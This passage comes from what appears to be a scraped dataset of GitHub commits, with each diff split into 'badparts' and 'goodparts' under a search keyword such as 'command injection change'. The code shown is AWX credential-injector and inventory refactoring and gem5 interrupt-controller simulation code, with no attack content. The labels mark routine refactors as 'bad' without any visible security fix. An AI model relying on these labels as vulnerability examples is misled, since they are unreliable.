| stat.S_IWUSR)\n env['GCE_CREDENTIALS_FILE_PATH'] = path\n \n", "add": 8, "remove": 5, "filename": "/awx/main/models/credential/injectors.py", "badparts": [" 'project_id': project", " handle, path = tempfile.mkstemp(dir=private_data_dir)", " f = os.fdopen(handle, 'w')", " json.dump(json_cred, f)", " f.close()"], "goodparts": [" 'project_id': project,", " 'token_uri': 'https://accounts.google.com/o/oauth2/token',", " path = os.path.join(private_data_dir, 'creds.json')", " with open(path, 'w') as f:", " json.dump(json_cred, f, indent=2)"]}, {"diff": "\n client = cred.get_input('client', default='')\n tenant = cred.get_input('tenant', default='')\n \n+ env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n+\n if len(client) and len(tenant):\n env['AZURE_CLIENT_ID'] = client\n env['AZURE_TENANT'] = tenant\n env['AZURE_SECRET'] = cred.get_input('secret', default='')\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n else:\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n env['AZURE_AD_USER'] = cred.get_input('username', default='')\n env['AZURE_PASSWORD'] = cred.get_input('password', default='')\n", "add": 2, "remove": 2, "filename": "/awx/main/models/credential/injectors.py", "badparts": [" env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')", " env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')"], "goodparts": [" env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')"]}], "source": "\nimport json import os import stat import tempfile from django.conf import settings def aws(cred, env, private_data_dir): env['AWS_ACCESS_KEY_ID']=cred.get_input('username', default='') env['AWS_SECRET_ACCESS_KEY']=cred.get_input('password', default='') if cred.has_input('security_token'): env['AWS_SECURITY_TOKEN']=cred.get_input('security_token', default='') def gce(cred, env, private_data_dir): project=cred.get_input('project', default='') username=cred.get_input('username', default='') env['GCE_EMAIL']=username env['GCE_PROJECT']=project json_cred={ 'type': 'service_account', 'private_key': cred.get_input('ssh_key_data', default=''), 'client_email': username, 'project_id': project } handle, path=tempfile.mkstemp(dir=private_data_dir) f=os.fdopen(handle, 'w') json.dump(json_cred, f) f.close() os.chmod(path, stat.S_IRUSR | stat.S_IWUSR) env['GCE_CREDENTIALS_FILE_PATH']=path def azure_rm(cred, env, private_data_dir): client=cred.get_input('client', default='') tenant=cred.get_input('tenant', default='') if len(client) and len(tenant): env['AZURE_CLIENT_ID']=client env['AZURE_TENANT']=tenant env['AZURE_SECRET']=cred.get_input('secret', default='') env['AZURE_SUBSCRIPTION_ID']=cred.get_input('subscription', default='') else: env['AZURE_SUBSCRIPTION_ID']=cred.get_input('subscription', default='') env['AZURE_AD_USER']=cred.get_input('username', default='') env['AZURE_PASSWORD']=cred.get_input('password', default='') if cred.has_input('cloud_environment'): env['AZURE_CLOUD_ENVIRONMENT']=cred.get_input('cloud_environment') def vmware(cred, env, private_data_dir): env['VMWARE_USER']=cred.get_input('username', default='') env['VMWARE_PASSWORD']=cred.get_input('password', default='') env['VMWARE_HOST']=cred.get_input('host', default='') env['VMWARE_VALIDATE_CERTS']=str(settings.VMWARE_VALIDATE_CERTS) ", "sourceWithComments": "import json\nimport os\nimport stat\nimport tempfile\n\nfrom django.conf import settings\n\n\ndef aws(cred, env, private_data_dir):\n env['AWS_ACCESS_KEY_ID'] = cred.get_input('username', default='')\n env['AWS_SECRET_ACCESS_KEY'] = cred.get_input('password', default='')\n\n if cred.has_input('security_token'):\n env['AWS_SECURITY_TOKEN'] = cred.get_input('security_token', default='')\n\n\ndef gce(cred, env, private_data_dir):\n project = cred.get_input('project', default='')\n username = cred.get_input('username', default='')\n\n env['GCE_EMAIL'] = username\n env['GCE_PROJECT'] = project\n json_cred = {\n 'type': 'service_account',\n 'private_key': cred.get_input('ssh_key_data', default=''),\n 'client_email': username,\n 'project_id': project\n }\n handle, path = tempfile.mkstemp(dir=private_data_dir)\n f = os.fdopen(handle, 'w')\n json.dump(json_cred, f)\n f.close()\n os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n env['GCE_CREDENTIALS_FILE_PATH'] = path\n\n\ndef azure_rm(cred, env, private_data_dir):\n client = cred.get_input('client', default='')\n tenant = cred.get_input('tenant', default='')\n\n if len(client) and len(tenant):\n env['AZURE_CLIENT_ID'] = client\n env['AZURE_TENANT'] = tenant\n env['AZURE_SECRET'] = cred.get_input('secret', default='')\n env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n else:\n env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n env['AZURE_AD_USER'] = cred.get_input('username', default='')\n env['AZURE_PASSWORD'] = cred.get_input('password', default='')\n\n if cred.has_input('cloud_environment'):\n env['AZURE_CLOUD_ENVIRONMENT'] = cred.get_input('cloud_environment')\n\n\ndef vmware(cred, env, private_data_dir):\n env['VMWARE_USER'] = cred.get_input('username', default='')\n env['VMWARE_PASSWORD'] = cred.get_input('password', default='')\n env['VMWARE_HOST'] = cred.get_input('host', default='')\n env['VMWARE_VALIDATE_CERTS'] = str(settings.VMWARE_VALIDATE_CERTS)\n"}, "/awx/main/models/inventory.py": {"changes": [{"diff": "\n return bool(self.source_script)\n elif self.source == 'scm':\n return bool(self.source_project)\n- else:\n- return bool(self.source in CLOUD_INVENTORY_SOURCES)\n+ elif self.source == 'file':\n+ return False\n+ elif self.source == 'ec2':\n+ # Permit credential-less ec2 updates to allow IAM roles\n+ return True\n+ elif self.source == 'gce':\n+ # These updates will hang if correct credential is not supplied\n+ return bool(self.get_cloud_credential().kind == 'gce')\n+ return True\n \n def create_inventory_update(self, **kwargs):\n return self.create_unified_job(**kwargs)\n", "add": 9, "remove": 2, "filename": "/awx/main/models/inventory.py", "badparts": [" else:", " return bool(self.source in CLOUD_INVENTORY_SOURCES)"], "goodparts": [" elif self.source == 'file':", " return False", " elif self.source == 'ec2':", " return True", " elif self.source == 'gce':", " return bool(self.get_cloud_credential().kind == 'gce')", " return True"]}, {"diff": "\n def can_start(self):\n if not super(InventoryUpdate, self).can_start:\n return False\n-\n- if (self.source not in ('custom', 'ec2', 'scm') and\n- not (self.get_cloud_credential())):\n- return False\n- elif self.source == 'scm' and not self.inventory_source.source_project:\n- return False\n- elif self.source == 'file':\n+ elif not self.inventory_source or not self.inventory_source._can_update():\n return False\n return True\n \n", "add": 1, "remove": 7, "filename": "/awx/main/models/inventory.py", "badparts": [" if (self.source not in ('custom', 'ec2', 'scm') and", " not (self.get_cloud_credential())):", " return False", " elif self.source == 'scm' and not self.inventory_source.source_project:", " return False", " elif self.source == 'file':"], "goodparts": [" elif not self.inventory_source or not self.inventory_source._can_update():"]}]}, "/awx/main/tasks.py": {"changes": [{"diff": "\n from awx.main.models import (\n Schedule, TowerScheduleState, Instance, InstanceGroup,\n UnifiedJob, Notification,\n- Inventory, SmartInventoryMembership,\n+ Inventory, InventorySource, SmartInventoryMembership,\n Job, AdHocCommand, ProjectUpdate, InventoryUpdate, SystemJob,\n JobEvent, ProjectUpdateEvent, InventoryUpdateEvent, AdHocCommandEvent, SystemJobEvent,\n build_safe_env\n", "add": 1, "remove": 1, "filename": "/awx/main/tasks.py", "badparts": [" Inventory, SmartInventoryMembership,"], "goodparts": [" Inventory, InventorySource, SmartInventoryMembership,"]}, {"diff": "\n def build_env(self, inventory_update, private_data_dir, isolated, private_data_files=None):\n \"\"\"Build environment dictionary for inventory import.\n \n- This is the mechanism by which any data that needs to be passed\n+ This used to be the mechanism by which any data that needs to be passed\n to the inventory update script is set up. In particular, this is how\n inventory update is aware of its proper credentials.\n+\n+ Most environment injection is now accomplished by the credential\n+ injectors. The primary purpose this still serves is to\n+ still point to the inventory update INI or config file.\n \"\"\"\n env = super(RunInventoryUpdate, self).build_env(inventory_update,\n private_data_dir,\n", "add": 5, "remove": 1, "filename": "/awx/main/tasks.py", "badparts": [" This is the mechanism by which any data that needs to be passed"], "goodparts": [" This used to be the mechanism by which any data that needs to be passed", " Most environment injection is now accomplished by the credential", " injectors. The primary purpose this still serves is to", " still point to the inventory update INI or config file."]}, {"diff": "\n inventory_update.get_cloud_credential(), ''\n )\n \n- if inventory_update.source == 'gce':\n- env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa\n-\n- # by default, the GCE inventory source caches results on disk for\n- # 5 minutes; disable this behavior\n- cp = configparser.ConfigParser()\n- cp.add_section('cache')\n- cp.set('cache', 'cache_max_age', '0')\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- cp.write(os.fdopen(handle, 'w'))\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n- env['GCE_INI_PATH'] = path\n- elif inventory_update.source in ['scm', 'custom']:\n+ if inventory_update.source in InventorySource.injectors:\n+ # TODO: mapping from credential.kind to inventory_source.source\n+ injector = InventorySource.injectors[inventory_update.source](self.get_ansible_version(inventory_update))\n+ env = injector.build_env(inventory_update, env, private_data_dir)\n+\n+ if inventory_update.source == 'tower':\n+ env['TOWER_INVENTORY'] = inventory_update.instance_filters\n+ env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n+\n+ if inventory_update.source in ['scm', 'custom']:\n for env_k in inventory_update.source_vars_dict:\n if str(env_k) not in env and str(env_k) not in settings.INV_ENV_VARIABLE_BLACKLIST:\n env[str(env_k)] = str(inventory_update.source_vars_dict[env_k])\n- elif inventory_update.source == 'tower':\n- env['TOWER_INVENTORY'] = inventory_update.instance_filters\n- env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n elif inventory_update.source == 'file':\n raise NotImplementedError('Cannot update file sources through the task system.')\n return env\n", "add": 10, "remove": 16, "filename": "/awx/main/tasks.py", "badparts": [" if inventory_update.source == 'gce':", " env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa", " cp = configparser.ConfigParser()", " cp.add_section('cache')", " cp.set('cache', 'cache_max_age', '0')", " handle, path = tempfile.mkstemp(dir=private_data_dir)", " cp.write(os.fdopen(handle, 'w'))", " os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)", " env['GCE_INI_PATH'] = path", " elif inventory_update.source in ['scm', 'custom']:", " elif inventory_update.source == 'tower':", " env['TOWER_INVENTORY'] = inventory_update.instance_filters", " env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']"], "goodparts": [" if inventory_update.source in InventorySource.injectors:", " injector = InventorySource.injectors[inventory_update.source](self.get_ansible_version(inventory_update))", " env = injector.build_env(inventory_update, env, private_data_dir)", " if inventory_update.source == 'tower':", " env['TOWER_INVENTORY'] = inventory_update.instance_filters", " env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']", " if inventory_update.source in ['scm', 'custom']:"]}, {"diff": "\n getattr(settings, '%s_INSTANCE_ID_VAR' % src.upper()),])\n # Add arguments for the source inventory script\n args.append('--source')\n+ args.append(self.build_inventory(inventory_update, private_data_dir))\n+ if src == 'custom':\n+ args.append(\"--custom\")\n+ args.append('-v%d' % inventory_update.verbosity)\n+ if settings.DEBUG:\n+ args.append('--traceback')\n+ return args\n+\n+ def build_inventory(self, inventory_update, private_data_dir):\n+ src = inventory_update.source\n if src in CLOUD_PROVIDERS:\n- # Get the path to the inventory plugin, and append it to our\n- # arguments.\n- plugin_path = self.get_path_to('..', 'plugins', 'inventory',\n- '%s.py' % src)\n- args.append(plugin_path)\n+ if src in InventorySource.injectors:\n+ cloud_cred = inventory_update.get_cloud_credential()\n+ injector = InventorySource.injectors[cloud_cred.kind](self.get_ansible_version(inventory_update))\n+ content = injector.inventory_contents(inventory_update)\n+ content = content.encode('utf-8')\n+ # must be a statically named file\n+ inventory_path = os.path.join(private_data_dir, injector.filename)\n+ with open(inventory_path, 'w') as f:\n+ f.write(content)\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ else:\n+ # Get the path to the inventory plugin, and append it to our\n+ # arguments.\n+ inventory_path = self.get_path_to('..', 'plugins', 'inventory', '%s.py' % src)\n elif src == 'scm':\n- args.append(inventory_update.get_actual_source_path())\n+ inventory_path = inventory_update.get_actual_source_path()\n elif src == 'custom':\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n+ handle, inventory_path = tempfile.mkstemp(dir=private_data_dir)\n f = os.fdopen(handle, 'w')\n if inventory_update.source_script is None:\n raise RuntimeError('Inventory Script does not exist')\n f.write(inventory_update.source_script.script)\n f.close()\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n- args.append(path)\n- args.append(\"--custom\")\n- args.append('-v%d' % inventory_update.verbosity)\n- if settings.DEBUG:\n- args.append('--traceback')\n- return args\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ return inventory_path\n \n def build_cwd(self, inventory_update, private_data_dir):\n- if inventory_update.source == 'scm' and inventory_update.source_project_update:\n+ '''\n+ There are two cases where the inventory \"source\" is in a different\n+ location from the private data:\n+ - deprecated vendored inventory scripts in awx/plugins/inventory\n+ - SCM, where source needs to live in the project folder\n+ in these cases, the inventory does not exist in the standard tempdir\n+ '''\n+ src = inventory_update.source\n+ if src == 'scm' and inventory_update.source_project_update:\n return inventory_update.source_project_update.get_project_path(check_if_exists=False)\n- return self.get_path_to('..', 'plugins', 'inventory')\n+ if src in CLOUD_PROVIDERS:\n+ injector = None\n+ if src in InventorySource.injectors:\n+ injector = InventorySource.injectors[src](self.get_ansible_version(inventory_update))\n+ if (not injector) or (not injector.should_use_plugin()):\n+ return self.get_path_to('..', 'plugins', 'inventory')\n+ return private_data_dir\n \n def build_playbook_path_relative_to_cwd(self, inventory_update, private_data_dir):\n return N", "add": 44, "remove": 16, "filename": "/awx/main/tasks.py", "badparts": [" plugin_path = self.get_path_to('..', 'plugins', 'inventory',", " '%s.py' % src)", " args.append(plugin_path)", " args.append(inventory_update.get_actual_source_path())", " handle, path = tempfile.mkstemp(dir=private_data_dir)", " os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)", " args.append(path)", " args.append(\"--custom\")", " args.append('-v%d' % inventory_update.verbosity)", " if settings.DEBUG:", " args.append('--traceback')", " return args", " if inventory_update.source == 'scm' and inventory_update.source_project_update:", " return self.get_path_to('..', 'plugins', 'inventory')"], "goodparts": [" args.append(self.build_inventory(inventory_update, private_data_dir))", " if src == 'custom':", " args.append(\"--custom\")", " args.append('-v%d' % inventory_update.verbosity)", " if settings.DEBUG:", " args.append('--traceback')", " return args", " def build_inventory(self, inventory_update, private_data_dir):", " src = inventory_update.source", " if src in InventorySource.injectors:", " cloud_cred = inventory_update.get_cloud_credential()", " injector = InventorySource.injectors[cloud_cred.kind](self.get_ansible_version(inventory_update))", " content = injector.inventory_contents(inventory_update)", " content = content.encode('utf-8')", " inventory_path = os.path.join(private_data_dir, injector.filename)", " with open(inventory_path, 'w') as f:", " f.write(content)", " os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)", " else:", " inventory_path = self.get_path_to('..', 'plugins', 'inventory', '%s.py' % src)", " inventory_path = inventory_update.get_actual_source_path()", " handle, inventory_path = tempfile.mkstemp(dir=private_data_dir)", " os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)", " return inventory_path", " '''", " There are two cases where the inventory \"source\" is in a different", " location from the private data:", " - deprecated vendored inventory scripts in awx/plugins/inventory", " - SCM, where source needs to live in the project folder", " in these cases, the inventory does not exist in the standard tempdir", " '''", " src = inventory_update.source", " if src == 'scm' and inventory_update.source_project_update:", " if src in CLOUD_PROVIDERS:", " injector = None", " if src in InventorySource.injectors:", " injector = InventorySource.injectors[src](self.get_ansible_version(inventory_update))", " if (not injector) or (not injector.should_use_plugin()):", " return self.get_path_to('..', 'plugins', 'inventory')", " return private_data_dir"]}]}}, "msg": "Build-in inventory plugin code structure with gce working\n\nsupporting and related changes\n - Fix inconsistency between can_update / can_start\n - Avoid creating inventory file twice unnecessarily\n - Non-functional consolidation in Azure injection logic\n - Inject GCE creds as indented JSON for readability\n - Create new injector class structure, add gce\n - Reduce management command overrides of runtime environment"}}, "https://github.com/ShehabElsayed/gem5_debug": {"5830ee78b6dcab87cf383a6cab1e534e1ae1baae": {"url": "https://api.github.com/repos/ShehabElsayed/gem5_debug/commits/5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "html_url": "https://github.com/ShehabElsayed/gem5_debug/commit/5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "sha": "5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "keyword": "command injection change", "diff": "diff --git a/src/dev/arm/Gic.py b/src/dev/arm/Gic.py\nindex 011e238cc..d31a582d5 100644\n--- a/src/dev/arm/Gic.py\n+++ b/src/dev/arm/Gic.py\n@@ -1,4 +1,4 @@\n-# Copyright (c) 2012-2013, 2017-2018 ARM Limited\n+# Copyright (c) 2012-2013, 2017-2019 ARM Limited\n # All rights reserved.\n #\n # The license below extends only to copyright in the software and shall\n@@ -40,7 +40,7 @@\n from m5.util.fdthelper import *\n from m5.SimObject import SimObject\n \n-from m5.objects.Device import PioDevice\n+from m5.objects.Device import PioDevice, BasicPioDevice\n from m5.objects.Platform import Platform\n \n class BaseGic(PioDevice):\n@@ -162,10 +162,24 @@ def generateDeviceTree(self, state):\n \n yield node\n \n+class Gicv3Its(BasicPioDevice):\n+ type = 'Gicv3Its'\n+ cxx_header = \"dev/arm/gic_v3_its.hh\"\n+\n+ dma = MasterPort(\"DMA port\")\n+ pio_size = Param.Unsigned(0x20000, \"Gicv3Its pio size\")\n+\n+ # CIL [36] = 0: ITS supports 16-bit CollectionID\n+ # Devbits [17:13] = 0b100011: ITS supports 23 DeviceID bits\n+ # ID_bits [12:8] = 0b11111: ITS supports 31 EventID bits\n+ gits_typer = Param.UInt64(0x30023F01, \"GITS_TYPER RO value\")\n+\n class Gicv3(BaseGic):\n type = 'Gicv3'\n cxx_header = \"dev/arm/gic_v3.hh\"\n \n+ its = Param.Gicv3Its(Gicv3Its(), \"GICv3 Interrupt Translation Service\")\n+\n dist_addr = Param.Addr(\"Address for distributor\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n redist_addr = Param.Addr(\"Address for redistributors\")\ndiff --git a/src/dev/arm/RealView.py b/src/dev/arm/RealView.py\nindex 186d6df41..b34ab006c 100644\n--- a/src/dev/arm/RealView.py\n+++ b/src/dev/arm/RealView.py\n@@ -1084,14 +1084,15 @@ def _on_chip_devices(self):\n \n class VExpress_GEM5_V2_Base(VExpress_GEM5_Base):\n gic = Gicv3(dist_addr=0x2c000000, redist_addr=0x2c010000,\n- maint_int=ArmPPI(num=25))\n+ maint_int=ArmPPI(num=25),\n+ its=Gicv3Its(pio_addr=0x2c120000))\n \n # Limiting to 128 since it will otherwise overlap with PCI space\n gic.cpu_max = 128\n \n def _on_chip_devices(self):\n return super(VExpress_GEM5_V2_Base,self)._on_chip_devices() + [\n- self.gic,\n+ self.gic, self.gic.its\n ]\n \n def setupBootLoader(self, mem_bus, cur_sys, loc):\ndiff --git a/src/dev/arm/SConscript b/src/dev/arm/SConscript\nindex c4aa52180..7d14abe67 100644\n--- a/src/dev/arm/SConscript\n+++ b/src/dev/arm/SConscript\n@@ -61,6 +61,7 @@ if env['TARGET_ISA'] == 'arm':\n Source('gic_v3_cpu_interface.cc')\n Source('gic_v3_distributor.cc')\n Source('gic_v3_redistributor.cc')\n+ Source('gic_v3_its.cc')\n Source('pl011.cc')\n Source('pl111.cc')\n Source('hdlcd.cc')\n@@ -85,6 +86,7 @@ if env['TARGET_ISA'] == 'arm':\n DebugFlag('GICV2M')\n DebugFlag('Pl050')\n DebugFlag('GIC')\n+ DebugFlag('ITS')\n DebugFlag('RVCTRL')\n DebugFlag('EnergyCtrl')\n DebugFlag('UFSHostDevice')\ndiff --git a/src/dev/arm/gic_v3.cc b/src/dev/arm/gic_v3.cc\nindex 9004f656f..6f4312b03 100644\n--- a/src/dev/arm/gic_v3.cc\n+++ b/src/dev/arm/gic_v3.cc\n@@ -35,6 +35,7 @@\n #include \"debug/Interrupt.hh\"\n #include \"dev/arm/gic_v3_cpu_interface.hh\"\n #include \"dev/arm/gic_v3_distributor.hh\"\n+#include \"dev/arm/gic_v3_its.hh\"\n #include \"dev/arm/gic_v3_redistributor.hh\"\n #include \"dev/platform.hh\"\n #include \"mem/packet.hh\"\n@@ -78,6 +79,8 @@ Gicv3::init()\n cpuInterfaces[i]->init();\n }\n \n+ params()->its->setGIC(this);\n+\n BaseGic::init();\n }\n \ndiff --git a/src/dev/arm/gic_v3.hh b/src/dev/arm/gic_v3.hh\nindex 5a13a7479..7dab5a2fb 100644\n--- a/src/dev/arm/gic_v3.hh\n+++ b/src/dev/arm/gic_v3.hh\n@@ -37,6 +37,7 @@\n class Gicv3CPUInterface;\n class Gicv3Distributor;\n class Gicv3Redistributor;\n+class Gicv3Its;\n \n class Gicv3 : public BaseGic\n {\n@@ -48,6 +49,7 @@ class Gicv3 : public BaseGic\n Gicv3Distributor * distributor;\n std::vector redistributors;\n std::vector cpuInterfaces;\n+ Gicv3Its * its;\n AddrRange distRange;\n AddrRange redistRange;\n AddrRangeList addrRanges;\ndiff --git a/src/dev/arm/gic_v3_its.cc b/src/dev/arm/gic_v3_its.cc\nnew file mode 100644\nindex 000000000..f3fa0a50e\n--- /dev/null\n+++ b/src/dev/arm/gic_v3_its.cc\n@@ -0,0 +1,1213 @@\n+/*\n+ * Copyright (c) 2019 ARM Limited\n+ * All rights reserved\n+ *\n+ * The license below extends only to copyright in the software and shall\n+ * not be construed as granting a license to any other intellectual\n+ * property including but not limited to intellectual property relating\n+ * to a hardware implementation of the functionality of the software\n+ * licensed hereunder. You may use the software subject to the license\n+ * terms below provided that you ensure that this notice is replicated\n+ * unmodified and in its entirety in all distributions of the software,\n+ * modified or unmodified, in source code or in binary form.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions are\n+ * met: redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer;\n+ * redistributions in binary form must reproduce the above copyright\n+ * notice, this list of conditions and the following disclaimer in the\n+ * documentation and/or other materials provided with the distribution;\n+ * neither the name of the copyright holders nor the names of its\n+ * contributors may be used to endorse or promote products derived from\n+ * this software without specific prior written permission.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n+ * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+ *\n+ * Authors: Giacomo Travaglini\n+ */\n+\n+#include \"dev/arm/gic_v3_its.hh\"\n+\n+#include \"debug/AddrRanges.hh\"\n+#include \"debug/Drain.hh\"\n+#include \"debug/GIC.hh\"\n+#include \"debug/ITS.hh\"\n+#include \"dev/arm/gic_v3.hh\"\n+#include \"dev/arm/gic_v3_distributor.hh\"\n+#include \"dev/arm/gic_v3_redistributor.hh\"\n+#include \"mem/packet_access.hh\"\n+\n+#define COMMAND(x, method) { x, DispatchEntry(#x, method) }\n+\n+const AddrRange Gicv3Its::GITS_BASER(0x0100, 0x0138);\n+\n+ItsProcess::ItsProcess(Gicv3Its &_its)\n+ : its(_its), coroutine(nullptr)\n+{\n+}\n+\n+ItsProcess::~ItsProcess()\n+{\n+}\n+\n+void\n+ItsProcess::reinit()\n+{\n+ coroutine.reset(new Coroutine(\n+ std::bind(&ItsProcess::main, this, std::placeholders::_1)));\n+}\n+\n+const std::string\n+ItsProcess::name() const\n+{\n+ return its.name();\n+}\n+\n+ItsAction\n+ItsProcess::run(PacketPtr pkt)\n+{\n+ assert(coroutine != nullptr);\n+ assert(*coroutine);\n+ return (*coroutine)(pkt).get();\n+}\n+\n+void\n+ItsProcess::doRead(Yield &yield, Addr addr, void *ptr, size_t size)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::SEND_REQ;\n+\n+ RequestPtr req = std::make_shared(\n+ addr, size, 0, its.masterId);\n+\n+ req->taskId(ContextSwitchTaskId::DMA);\n+\n+ a.pkt = new Packet(req, MemCmd::ReadReq);\n+ a.pkt->dataStatic(ptr);\n+\n+ a.delay = 0;\n+\n+ PacketPtr pkt = yield(a).get();\n+\n+ assert(pkt);\n+ assert(pkt->getSize() >= size);\n+\n+ delete pkt;\n+}\n+\n+void\n+ItsProcess::doWrite(Yield &yield, Addr addr, void *ptr, size_t size)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::SEND_REQ;\n+\n+ RequestPtr req = std::make_shared(\n+ addr, size, 0, its.masterId);\n+\n+ req->taskId(ContextSwitchTaskId::DMA);\n+\n+ a.pkt = new Packet(req, MemCmd::WriteReq);\n+ a.pkt->dataStatic(ptr);\n+\n+ a.delay = 0;\n+\n+ PacketPtr pkt = yield(a).get();\n+\n+ assert(pkt);\n+ assert(pkt->getSize() >= size);\n+\n+ delete pkt;\n+}\n+\n+void\n+ItsProcess::terminate(Yield &yield)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::TERMINATE;\n+ a.pkt = NULL;\n+ a.delay = 0;\n+ yield(a);\n+}\n+\n+void\n+ItsProcess::writeDeviceTable(Yield &yield, uint32_t device_id, DTE dte)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::DEVICE_TABLE);\n+ const Addr address = base + device_id;\n+\n+ DPRINTF(ITS, \"Writing DTE at address %#x: %#x\\n\", address, dte);\n+\n+ doWrite(yield, address, &dte, sizeof(dte));\n+}\n+\n+void\n+ItsProcess::writeIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id, ITTE itte)\n+{\n+ const Addr address = itt_base + event_id;\n+\n+ doWrite(yield, address, &itte, sizeof(itte));\n+\n+ DPRINTF(ITS, \"Writing ITTE at address %#x: %#x\\n\", address, itte);\n+}\n+\n+void\n+ItsProcess::writeIrqCollectionTable(\n+ Yield &yield, uint32_t collection_id, CTE cte)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::COLLECTION_TABLE);\n+ const Addr address = base + collection_id;\n+\n+ doWrite(yield, address, &cte, sizeof(cte));\n+\n+ DPRINTF(ITS, \"Writing CTE at address %#x: %#x\\n\", address, cte);\n+}\n+\n+uint64_t\n+ItsProcess::readDeviceTable(Yield &yield, uint32_t device_id)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::DEVICE_TABLE);\n+ const Addr address = base + device_id;\n+\n+ uint64_t dte;\n+ doRead(yield, address, &dte, sizeof(dte));\n+\n+ DPRINTF(ITS, \"Reading DTE at address %#x: %#x\\n\", address, dte);\n+ return dte;\n+}\n+\n+uint64_t\n+ItsProcess::readIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id)\n+{\n+ const Addr address = itt_base + event_id;\n+\n+ uint64_t itte;\n+ doRead(yield, address, &itte, sizeof(itte));\n+\n+ DPRINTF(ITS, \"Reading ITTE at address %#x: %#x\\n\", address, itte);\n+ return itte;\n+}\n+\n+uint64_t\n+ItsProcess::readIrqCollectionTable(Yield &yield, uint32_t collection_id)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::COLLECTION_TABLE);\n+ const Addr address = base + collection_id;\n+\n+ uint64_t cte;\n+ doRead(yield, address, &cte, sizeof(cte));\n+\n+ DPRINTF(ITS, \"Reading CTE at address %#x: %#x\\n\", address, cte);\n+ return cte;\n+}\n+\n+ItsTranslation::ItsTranslation(Gicv3Its &_its)\n+ : ItsProcess(_its)\n+{\n+ reinit();\n+ its.pendingTranslations++;\n+}\n+\n+ItsTranslation::~ItsTranslation()\n+{\n+ assert(its.pendingTranslations >= 1);\n+ its.pendingTranslations--;\n+}\n+\n+void\n+ItsTranslation::main(Yield &yield)\n+{\n+ PacketPtr pkt = yield.get();\n+\n+ const uint32_t device_id = pkt->req->streamId();\n+ const uint32_t event_id = pkt->getLE();\n+\n+ auto result = translateLPI(yield, device_id, event_id);\n+\n+ uint32_t intid = result.first;\n+ Gicv3Redistributor *redist = result.second;\n+\n+ // Set the LPI in the redistributor\n+ redist->setClrLPI(intid, true);\n+\n+ // Update the value in GITS_TRANSLATER only once we know\n+ // there was no error in the tranlation process (before\n+ // terminating the translation\n+ its.gitsTranslater = event_id;\n+\n+ terminate(yield);\n+}\n+\n+std::pair\n+ItsTranslation::translateLPI(Yield &yield, uint32_t device_id,\n+ uint32_t event_id)\n+{\n+ if (its.deviceOutOfRange(device_id)) {\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, device_id);\n+\n+ if (!dte.valid || its.idOutOfRange(event_id, dte.ittRange)) {\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(yield, dte.ittAddress, event_id);\n+ const auto collection_id = itte.icid;\n+\n+ if (!itte.valid || 